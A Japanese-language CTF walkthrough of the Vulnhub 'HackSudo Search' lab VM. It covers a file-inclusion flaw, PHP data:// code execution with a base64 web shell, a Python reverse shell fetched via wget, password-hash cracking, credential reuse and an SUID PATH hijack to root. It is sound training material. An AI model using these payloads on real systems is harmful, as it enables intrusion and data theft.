
Writeup: Vulnhub Search
Vulnhub の HackSudo Search 攻略メモ。
このVMはあちこちに「偽の手がかり」(Rabbit Hole)が置いてあり、攻略自体は簡単だったが、思いのほか時間がかかった。
1.仮想マシンのダウンロード
下記のリンクからダウンロード。サイズは 853 MB。
ダウンロードしたファイルをVirtual Box へインポートして起動する。
ネットワークインターフェースは「ホストオンリーアダプタ」を使用。
メモリは 1GBで問題無く起動した。
2.攻略
0)ターゲットのIPアドレス確認
起動したVMのコンソール画面にIPアドレスが表示されていた。
ターゲットのIPアドレスは 192.168.56.103 。

1)ポートスキャン
IPアドレスが判ったので、ポートスキャンしてみる。
nmap -sS -sV -n -p- -T4 192.168.56.103
httpd, ssh が稼働していることが判った。

2)脆弱性探し
httpd ( 80/tcp ) にアクセスしてみる。サーチエンジンっぽい画面。

適当な文字を入れて[Search] をクリックすると、ボタンが表示される

ボタンを押すと、Google 検索で "hacksudo"の検索結果が表示される。

トップ画面にどんな文字を入れても、同じ動作だった。
どうやらこの画面はフェイクらしい。。
/robots.txt を見るとジョークだと書いてあった。。なーんだ。

気を取り直して、このWebサーバのディレクトリをスキャンしてみる。
辞書はいつもの common.txt ではなく、もう少し大きめのものを使用した。
gobuster dir -u http://192.168.56.101/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html
/search1.php という意味ありげなファイルが見つかった。

/search1.php にアクセスしてみる。ここに何かヒントがあるに違いない。
トップページと似たデザインだが、今度は画面左上にメニューがある。

Contact をクリックすると、アドレスバーに面白いURLが表示された。
どうやら、search1.php に渡すパラメータをファジングすれば良いようだ。

ffuf を使ってファジングしてみる。
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.56.103/search1.php?FUZZ=/etc/passwd -fs 2918
パラメータは "me" であることが判った。

確認のため、ブラウザで /search1.php?me=/etc/passwd を開いてみる。
予想通り、パスワードファイルが表示された。

これまでの調査で 「/search1.php?me=[ファイル名] 」で指定したファイルを表示できることが判った。
ところで、PHPには ラッパーという仕組みがあり、「ファイル名」の代わりに様々なものを指定することができる。
例えば、data:// というラッパーは以下のような書式で、読み込ませたいデータの内容を base64 エンコードして入力する
data://text/plain;base64,「入力データ(base64エンコードしたもの)」
試してみよう。
まずは、<?php phpinfo(); ?> を base64 にエンコードする。
$ echo -n '<?php phpinfo(); ?>' | base64
PD9waHAgcGhwaW5mbygpOyA/Pg==
次に、data:// を使って /search1.php に読み込ませてみる。
http://192.168.56.103/search1.php?me=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
想定通り、 phpinfo() が実行できた。

3)侵入
data://text/plain;base64,「入力データ(base64エンコードしたもの)」
が実行できることが判ったので、例えば「入力データ」を以下のような形で与えることを考えてみる。
<?php system($_GET['cmd']);?>
これを base64 でエンコードすると以下のようになる。
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
つまり以下のURLでシェルのコマンドを実行できることなる。
http://192.168.56.103/search1.php?cmd="実行したいシェルコマンド"&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
試しに "ls -al /tmp" を実行してみる。。問題無く実行できた。

つまり、リバースシェルを実行するスクリプトを /tmp に置き、改めてこのスクリプトを呼び出せば侵入できる。
スクリプトは下記のサイトから拝借した。
まずは、リバースシェルを実行する pythonスクリプトを用意する。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
次に、手元のマシンで簡易Webサーバを立ち上げる。
python3 -m http.server 8080
ターゲット側で wget コマンドを実行するURLを作って、ブラウザでアクセスする。これでターゲット側にスクリプトがダウンロードされる。
http://192.168.56.103/search1.php?cmd=wget http%3A%2F%2F192.168.56.102%3A8080%2Fbdoor -O %2Ftmp%2Fbdoor&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
バックドア用のPythonスクリプトが /tmp/bdoor に保管できた。

次に手元のマシンで nc を起動して 4444/tcp で待ち受ける。
nc -lnvp 4444
最後に、 バックドア(/tmp/bdoor)を起動するURLを作成しブラウザで読み込む。
http://192.168.56.103/search1.php?cmd=python /tmp/bdoor&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
ターゲットマシンのシェルに接続することができた。侵入成功。

このままだと使いづらいので、下記のコマンドを使って端末環境を整える。
export TERM=xterm
python -c 'import pty;pty.spawn("/bin/bash")'
[CTRL] + C
stty -echo raw;fg
これで普通のターミナルらしくなった。^C なども送信ができる。

4)権限昇格
ホームディレクトリ(/home )を見てみるとユーザーが3つ登録されていることが判る。いずれかのユーザーに権限昇格することが次の目標のようだ。

Webサーバ内には php スクリプトが幾つかあり、"dbconnect.php" というMySQLの認証情報が書いてあるものがあった。

hacksudo のMySQLパスワードは p@ssword のようだ。
このパスワードで mysql にログインしてみる。

ところが、wordpress は空っぽのデータベースで何もなかった。
どうやら、dbconnect.php もフェイクのようだ。

何か手がかりは無いかと、拡張子 bak のファイルを探してみると、パスワードファイルのバックアップ(/etc/passwd.bak)が有り、読み取り可能になっていることに気づいた。

/etc/passwd.bak を覗いてみると、hacksudo ユーザーのパスワードハッシュが見つかった。これを解析すればこのユーザーのパスワードが判るかもしれない。

早速このハッシュを解析してパスワードを調べてみることにする。
パスワード解析の定番といえば John the Ripper。
使い方は簡単。コマンドラインは以下の通り。
john --wordlist=~/rockyou.txt hash.txt
hacksudo のパスワードは redhat であることが判った。

このパスワードで hacksudo に権限昇格・・・できるかと思いきや、これもハズレだった。念のため、search など他のユーザーでも試してみたが同様。
少し考えて、再度 Webサーバのディレクトリを調べてみることにした。
よく見ると、 .env というファイルがある。

.env にも DB_PASSWORD が書いてあった。

このパスワードで MySQL へのログインを試みたが、どのユーザーでもうまくいかなかった。
もしやと思い、このパスワードで hacksudo に su してみる。
あっさりと権限昇格できた。な~んだ。最初に気づけば良かった。トホホ。

このユーザーのホームディレクトリに1番目のフラグ(user.txt)があった。
とりあえず入手する。

次の目標はいよいよ root への権限昇格。
haksudo のホームディレクトリを調べると、~/search/tools に、root 権限で実行できるバイナリ(searchinstall ) が置いてあることに気づいた。

とりあえず実行してみる。 install コマンドを実行しようとしているらしい。
ソース(searchinstall.c)を見ると、system()で install を呼んでいるだけだった。

ソースを見て判る通り、"install" がフルパスで書かれていないので、これだと環境変数 PATH で最初に見つけた "install" を root権限で実行してしまうことになる。
カレントディレクトリに bashへのシンボリックリンクを "install"という名前で作っておき、環境変数 PATHの一番最初に "./" (カレントディレクトリ)を設定しておけば、root 権限でシェルが起動するはず。
やってみよう。
まずは /bin/bash へのシンボリックリンクを install という名前で作成する。
ln -s /bin/bash ./install
次に環境変数PATHの一番最初にカレントディレクトリ("./") を追加する。
export PATH=./:$PATH
あとは実行あるのみ。root に suidされた ./searchinstall を実行。
無事、root に権限昇格できた。

rootフラグを見てみよう。

これで完了。
めでたし、めでたし。